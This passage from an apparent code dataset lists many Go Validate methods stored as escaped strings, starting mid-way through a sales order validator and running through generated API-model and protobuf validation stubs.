row.Quantity\\n\\t\\t\\tcheckVariant[ivar.ID] = variant\\n\\t\\t}\\n\\t\\t////////////////////////////////\\n\\t}\\n\\n\\t// cek setiap sales order item\\n\\tfor i, row := range r.SalesOrderItem {\\n\\t\\t// validasi id\\n\\t\\tif row.ID != \\\"\\\" {\\n\\t\\t\\tif ID, err := common.Decrypt(row.ID); err != nil {\\n\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.id.invalid\\\", i), \\\"id is not valid\\\")\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tsoItem := &model.SalesOrderItem{ID: ID}\\n\\t\\t\\t\\tif err := soItem.Read(); err != nil {\\n\\t\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.id.invalid\\\", i), \\\"id is not found\\\")\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t//check duplicate sales order item id\\n\\t\\t\\t\\tif checkDuplicate[row.ID] == true {\\n\\t\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.id.invalid\\\", i), \\\"id duplicate\\\")\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tcheckDuplicate[row.ID] = true\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tvar UnitA float64\\n\\t\\tvar PricingID, IVariantID int64\\n\\t\\tvar ItemVariant *model.ItemVariant\\n\\t\\tvar IVPrice *model.ItemVariantPrice\\n\\t\\t// cek pricing type\\n\\t\\tPricingID, err = common.Decrypt(row.PricingType)\\n\\t\\tif err != nil {\\n\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.pricing_type.invalid\\\", i), \\\"Pricing type id is invalid\\\")\\n\\t\\t} else {\\n\\t\\t\\tif _, err = pricingType.GetPricingTypeByID(PricingID); err != nil {\\n\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.pricing_type.invalid\\\", i), \\\"Pricing type id is not found\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tIVariantID, err = common.Decrypt(row.ItemVariantID)\\n\\t\\tif err != nil {\\n\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.item_variant.invalid\\\", i), \\\"Item Variant id is invalid\\\")\\n\\t\\t}\\n\\n\\t\\tvar pt = &model.PricingType{ID: PricingID}\\n\\t\\tpt.Read(\\\"ID\\\")\\n\\t\\tvar iv = &model.ItemVariant{ID: IVariantID}\\n\\t\\tiv.Read(\\\"ID\\\")\\n\\n\\t\\tIVPrice, err = getItemVariantPricing(pt, iv)\\n\\t\\tif err == nil {\\n\\t\\t\\tif pt.ParentType != nil {\\n\\t\\t\\t\\tif pt.RuleType == \\\"increment\\\" {\\n\\t\\t\\t\\t\\tif pt.IsPercentage == int8(1) {\\n\\t\\t\\t\\t\\t\\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\\n\\t\\t\\t\\t\\t\\tUnitA = IVPrice.UnitPrice + temp\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tUnitA = IVPrice.UnitPrice + pt.Nominal\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif row.UnitPrice < UnitA {\\n\\t\\t\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.unit_price.invalid\\\", i), \\\"Unit price is too small\\\")\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tif pt.IsPercentage == int8(1) {\\n\\t\\t\\t\\t\\t\\ttemp := (pt.Nominal * IVPrice.UnitPrice) / float64(100)\\n\\t\\t\\t\\t\\t\\tUnitA = IVPrice.UnitPrice - temp\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tUnitA = IVPrice.UnitPrice - pt.Nominal\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif UnitA < 0 {\\n\\t\\t\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.pricing_type.invalid\\\", i), \\\"Pricing type can make price become zero\\\")\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif row.UnitPrice < UnitA {\\n\\t\\t\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.unit_price.invalid\\\", i), \\\"Unit price is too small\\\")\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tif row.UnitPrice < IVPrice.UnitPrice {\\n\\t\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.unit_price.invalid\\\", i), \\\"Unit price is too small\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.unit_price.invalid\\\", i), \\\"item variant price doesn't exist\\\")\\n\\t\\t}\\n\\n\\t\\tItemVariant, err = inventory.GetDetailItemVariant(\\\"id\\\", IVariantID)\\n\\t\\tif err != nil || ItemVariant == nil || ItemVariant.IsDeleted == int8(1) || ItemVariant.IsArchived == int8(1) {\\n\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.item_variant_id.invalid\\\", i), \\\"Item variant id not found\\\")\\n\\t\\t} else {\\n\\n\\t\\t\\tSoItemID, _ := common.Decrypt(row.ID)\\n\\t\\t\\tSoItem := &model.SalesOrderItem{ID: SoItemID}\\n\\t\\t\\tif e := SoItem.Read(\\\"ID\\\"); e != nil {\\n\\t\\t\\t\\tSoItem.Quantity = 0\\n\\t\\t\\t}\\n\\n\\t\\t\\t// cek stock item variant\\n\\t\\t\\tif ((checkVariant[ItemVariant.ID].AvailableStock - checkVariant[ItemVariant.ID].CommitedStock) + SoItem.Quantity) < row.Quantity {\\n\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.quantity.invalid\\\", i), \\\"Stock item is not enough to be sold\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\tcheckVariant[ItemVariant.ID].CommitedStock += row.Quantity\\n\\n\\t\\t\\t//check duplicate item variant id\\n\\t\\t\\tif checkDuplicate[row.ItemVariantID] == true {\\n\\t\\t\\t\\to.Failure(fmt.Sprintf(\\\"sales_order_item.%d.item_variant_id.invalid\\\", i), \\\" item variant id duplicate\\\")\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tcheckDuplicate[row.ItemVariantID] = true\\n\\t\\t\\t}\\n\\n\\t\\t}\\n\\n\\t\\t// Calculate total price\\n\\t\\tdiscamount := (row.UnitPrice * float64(row.Discount)) / float64(100)\\n\\t\\tcuramount := row.UnitPrice * float64(row.Quantity)\\n\\t\\tsubtotal := common.FloatPrecision(curamount-discamount, 0)\\n\\n\\t\\tr.TotalPrice += subtotal\\n\\t}\\n\\n\\tif r.IsPercentageDiscount == int8(1) {\\n\\t\\tif r.Discount < 0 || r.Discount > float32(100) {\\n\\t\\t\\to.Failure(\\\"discount\\\", \\\"discount is less than and equal 0 or greater than 100\\\")\\n\\t\\t}\\n\\t}\\n\\n\\treturn o\\n}\",\n \"func (m *AgreementProductsSubFilter) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (bva BaseVestingAccount) Validate() error {\\n\\tif !(bva.DelegatedVesting.IsAllLTE(bva.OriginalVesting)) {\\n\\t\\treturn errors.New(\\\"delegated vesting amount cannot be greater than original vesting amount\\\")\\n\\t}\\n\\treturn bva.BaseAccount.Validate()\\n}\",\n \"func (o *ScanProductsBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := o.validateBody(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *SubscriptionImportSubscriptionRequest) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateAutoCollection(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateBillingAddressValidationStatus(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCardGateway(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCustomerAutoCollection(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCustomerEntityCode(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCustomerTaxability(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePaymentMethodGateway(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePaymentMethodType(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateShippingAddressValidationStatus(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateStatus(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *PublicPhaseSubDTO) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (m *Reservation) Validate() error {\\n\\tif m == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// no validation rules for UserId\\n\\n\\tif v, ok := interface{}(m.GetTimestamp()).(interface{ Validate() error }); ok {\\n\\t\\tif err := v.Validate(); err != nil {\\n\\t\\t\\treturn ReservationValidationError{\\n\\t\\t\\t\\tfield: \\\"Timestamp\\\",\\n\\t\\t\\t\\treason: \\\"embedded message failed validation\\\",\\n\\t\\t\\t\\tcause: err,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// no validation rules for Items\\n\\n\\t// no validation rules for Days\\n\\n\\t// no validation rules for Amount\\n\\n\\t// no validation rules for MerchantId\\n\\n\\treturn nil\\n}\",\n \"func (d Draw) Validate() error {\\n\\tif d.TicketsSold < d.Participants {\\n\\t\\treturn fmt.Errorf(\\\"tickets sold cannot be less then the participants\\\")\\n\\t}\\n\\n\\terr := d.Prize.Validate()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif d.EndTime.IsZero() {\\n\\t\\treturn fmt.Errorf(\\\"invalid draw end time\\\")\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (e *RetrieveBalance) Validate(\\n\\tr *http.Request,\\n) error {\\n\\tctx := r.Context()\\n\\n\\t// Validate id.\\n\\tid, owner, token, err := ValidateID(ctx, pat.Param(r, \\\"balance\\\"))\\n\\tif err != nil {\\n\\t\\treturn errors.Trace(err)\\n\\t}\\n\\te.ID = *id\\n\\te.Token = *token\\n\\te.Owner = *owner\\n\\n\\treturn nil\\n}\",\n \"func (o *PostRetentionsIDExecutionsBody) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (m *Obligation) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateBalance(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateParticipantID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *CreatePurchaseRequest) Validate() error {\\n\\tif m == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// no validation rules for AccessToken\\n\\n\\t// no validation rules for Items\\n\\n\\treturn nil\\n}\",\n \"func (m *InlineResponse2014) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateResourceType(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateEmbedded(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateLinks(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateConnectionURL(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCreatedAt(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCurrentKmsArn(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateDockerRepo(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateHandle(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateInitialContainerSize(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateInitialDiskSize(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePassphrase(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePortMapping(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateProvisioned(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateStatus(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateType(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateUpdatedAt(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *CreatePurchaseResponse) Validate() error {\\n\\tif m == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// no validation rules for PurchaseId\\n\\n\\tif v, ok := interface{}(m.GetPurchase()).(interface{ Validate() error }); ok {\\n\\t\\tif err := v.Validate(); err != nil {\\n\\t\\t\\treturn CreatePurchaseResponseValidationError{\\n\\t\\t\\t\\tfield: \\\"Purchase\\\",\\n\\t\\t\\t\\treason: \\\"embedded message failed validation\\\",\\n\\t\\t\\t\\tcause: err,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m *Part) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (commit ObjectCommit) Validate() error {\\n\\tif commit.FormID == 0 {\\n\\t\\treturn fmt.Errorf(errFieldMustBeGreaterThanZero, \\\"FormID\\\")\\n\\t} else if commit.ShadowID == 0 {\\n\\t\\treturn fmt.Errorf(errFieldMustBeGreaterThanZero, \\\"ShadowID\\\")\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m *CreateReservationRequest) Validate() error {\\n\\tif m == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// no validation rules for AccessToken\\n\\n\\t// no validation rules for ProductId\\n\\n\\t// no validation rules for Days\\n\\n\\treturn nil\\n}\",\n \"func (m *RetrievePurchaseResponse) Validate() error {\\n\\tif m == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// no validation rules for PurchaseId\\n\\n\\tif v, ok := interface{}(m.GetPurchase()).(interface{ Validate() error }); ok {\\n\\t\\tif err := v.Validate(); err != nil {\\n\\t\\t\\treturn RetrievePurchaseResponseValidationError{\\n\\t\\t\\t\\tfield: \\\"Purchase\\\",\\n\\t\\t\\t\\treason: \\\"embedded message failed validation\\\",\\n\\t\\t\\t\\tcause: err,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m *IndiceStatus) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateDeleting(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePending(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateReady(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateRestoring(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *PTXServiceDTOBusSpecificationV2N1Estimate) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (o *OrganizerInvitation) Validate(tx *pop.Connection) (*validate.Errors, error) {\\n\\treturn validate.Validate(\\n\\t\\t&validators.IntIsPresent{Field: o.ID, Name: \\\"ID\\\"},\\n\\t\\t&validators.StringIsPresent{Field: o.Email, Name: \\\"Email\\\"},\\n\\t\\t&validators.StringIsPresent{Field: o.Token, Name: \\\"Token\\\"},\\n\\t\\t&validators.StringIsPresent{Field: o.State, Name: \\\"State\\\"},\\n\\t), nil\\n}\",\n \"func (o *GetOrderShipmentOKBodyItemsItems0) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (m *ListInvoicesRequest) ContextValidate(ctx context.Context, formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (e *Exhibition) Validate() (err ValidationError) {\\n\\tif len(e.Id) == 0 {\\n\\t\\terr = err.Append(\\\"Invalid id: \\\" + e.Id + \\\" should not empty\\\")\\n\\t}\\n\\tif !IsUUID(e.GalleryId) {\\n\\t\\terr = err.Append(\\\"Invalid gallery_id: \\\" + e.GalleryId + \\\" should be UUID\\\")\\n\\t}\\n\\treturn\\n}\",\n \"func (m *Credit) Validate() error {\\n\\tif m == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// no validation rules for Id\\n\\n\\t// no validation rules for Credits\\n\\n\\tif v, ok := interface{}(m.GetExpireOn()).(interface{ Validate() error }); ok {\\n\\t\\tif err := v.Validate(); err != nil {\\n\\t\\t\\treturn CreditValidationError{\\n\\t\\t\\t\\tfield: \\\"ExpireOn\\\",\\n\\t\\t\\t\\treason: \\\"embedded message failed validation\\\",\\n\\t\\t\\t\\tcause: err,\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (l *Loan) Valid() error {\\n\\tif l.BookID <= 0 {\\n\\t\\treturn errors.New(\\\"BookID is not valid, because it's need to be greater or equal 0\\\")\\n\\t}\\n\\n\\tif l.From <= 0 {\\n\\t\\treturn errors.New(\\\"The id is not valid, because it's need to be greater or equal 0\\\")\\n\\t}\\n\\n\\tif l.To <= 0 {\\n\\t\\treturn errors.New(\\\"The id is not valid, because it's need to be greater or equal 0\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *GetInteractionsInteractionFidOKBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\t// validation for a type composition with models.Envelope\\n\\tif err := o.Envelope.Validate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := o.validateData(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (p *PaymentCreditJournalBatch) validate() error {\\n\\tfor i, l := range p.Lines {\\n\\t\\tif l.Chapter == 0 {\\n\\t\\t\\treturn fmt.Errorf(\\\"ligne %d chapter nul\\\", i)\\n\\t\\t}\\n\\t\\tif l.Function == 0 {\\n\\t\\t\\treturn fmt.Errorf(\\\"ligne %d function nul\\\", i)\\n\\t\\t}\\n\\t\\tif l.CreationDate == 0 {\\n\\t\\t\\treturn fmt.Errorf(\\\"ligne %d creation date nul\\\", i)\\n\\t\\t}\\n\\t\\tif l.ModificationDate == 0 {\\n\\t\\t\\treturn fmt.Errorf(\\\"ligne %d modification date nul\\\", i)\\n\\t\\t}\\n\\t\\tif l.Name == \\\"\\\" {\\n\\t\\t\\treturn fmt.Errorf(\\\"ligne %d name nul\\\", i)\\n\\t\\t}\\n\\t\\tif l.Value == 0 {\\n\\t\\t\\treturn fmt.Errorf(\\\"ligne %d value nul\\\", i)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func Validate(a interface{}) error {\\n\\terr := val.Struct(a)\\n\\t// translate all error at once\\n\\tif err != nil {\\n\\t\\terrs := err.(validator.ValidationErrors)\\n\\t\\tvar errMsg []string\\n\\t\\tfor _, e := range errs {\\n\\t\\t\\terrMsg = append(errMsg, getErrorMessage(e))\\n\\t\\t}\\n\\t\\treturn errors.NewCommonEdgeX(errors.KindContractInvalid, strings.Join(errMsg, \\\"; \\\"), nil)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *SnapshotPolicyInlineCopiesInlineArrayItem) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateSchedule(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *Sub1098E) Validate() error {\\n\\treturn utils.Validate(r, config.Sub1098ELayout, config.Sub1098EType)\\n}\",\n \"func (m *RevenueData) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (m *ConfirmPurchaseRequest) Validate() error {\\n\\tif m == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// no validation rules for AccessToken\\n\\n\\t// no validation rules for PurchaseId\\n\\n\\treturn nil\\n}\",\n \"func (m *CartFullLineItemsItems0CustomItemsItems0) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (m *Eutracgi) Validate() error {\\n\\treturn m.validate(false)\\n}\",\n \"func (vr *VaultRecord) Validate() error {\\n\\treturn vr.TotalShares.Validate()\\n}\",\n \"func (m *PaymentSummary) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validatePaymentMethod(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *Customer) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateAutoCollection(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateBalances(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateBillingAddress(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateBillingDateMode(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateBillingDayOfWeek(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateBillingDayOfWeekMode(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateContacts(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateEntityCode(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateFraudFlag(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePaymentMethod(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateReferralUrls(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateTaxability(formats); err != nil {\\n\\t\\t// prop\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c Create) Validate(_ context.Context, tx goes.Tx, agg goes.Aggregate) error {\\n\\t// user := *agg.(*User)\\n\\t// _ = user\\n\\treturn validateFirstName(c.FirstName)\\n}\",\n \"func (m *RegionDataItem) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateCurrencyCode(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCurrencyNamespace(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateCurrencyType(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateDiscountAmount(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateDiscountExpireAt(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateDiscountPercentage(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateDiscountPurchaseAt(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateExpireAt(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePrice(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePurchaseAt(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *GetSearchbyIDOKBody) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (o *CancelAppointmentBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := o.validateBeneficiaries(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := o.validateCenterID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := o.validateDate(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := o.validateSlotID(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (cva ContinuousVestingAccount) Validate() error {\\n\\tif cva.GetStartTime() >= cva.GetEndTime() {\\n\\t\\treturn errors.New(\\\"vesting start-time cannot be before end-time\\\")\\n\\t}\\n\\n\\treturn cva.BaseVestingAccount.Validate()\\n}\",\n \"func (a DebtAuction) Validate() error {\\n\\tif !a.CorrespondingDebt.IsValid() {\\n\\t\\treturn fmt.Errorf(\\\"invalid corresponding debt: %s\\\", a.CorrespondingDebt)\\n\\t}\\n\\treturn ValidateAuction(&a)\\n}\",\n \"func (o *CustomFieldsItems0) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (v *VendorItem) Validate(tx *pop.Connection) (*validate.Errors, error) {\\n\\treturn validate.Validate(\\n\\t\\t&validators.StringIsPresent{Field: \\\"PurchasedUnit\\\", Name: \\\"PurchasedUnit\\\"},\\n\\t\\t&validators.FuncValidator{\\n\\t\\t\\tField: \\\"Conversion\\\",\\n\\t\\t\\tName: \\\"Conversion\\\",\\n\\t\\t\\tMessage: \\\"Must have conversion greater than 0\\\",\\n\\t\\t\\tFn: func() bool {\\n\\t\\t\\t\\treturn v.Conversion > 0\\n\\t\\t\\t},\\n\\t\\t},\\n\\t), nil\\n}\",\n \"func (m *CartFullDiscountsItems0) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (a *Doc) Validate() error {\\n\\treturn nil\\n}\",\n \"func (m *LineItemGiftCertificatesItems0Recipient) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (m *CoseV001SchemaData) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateEnvelopeHash(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validatePayloadHash(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *InterruptionResource) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := m.validateCreated(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateForm(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif err := m.validateLastModifiedOn(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *ApplicationComponentSnapshotInlineSvm) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (m *Order) Validate() error {\\n\\treturn m.validate(false)\\n}\",\n \"func (m *CartFullLineItemsItems0GiftCertificatesItems0Recipient) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (o *GetCustomersCustomerFidSubscriptionsSubscriptionFidAllocationsOKBody) 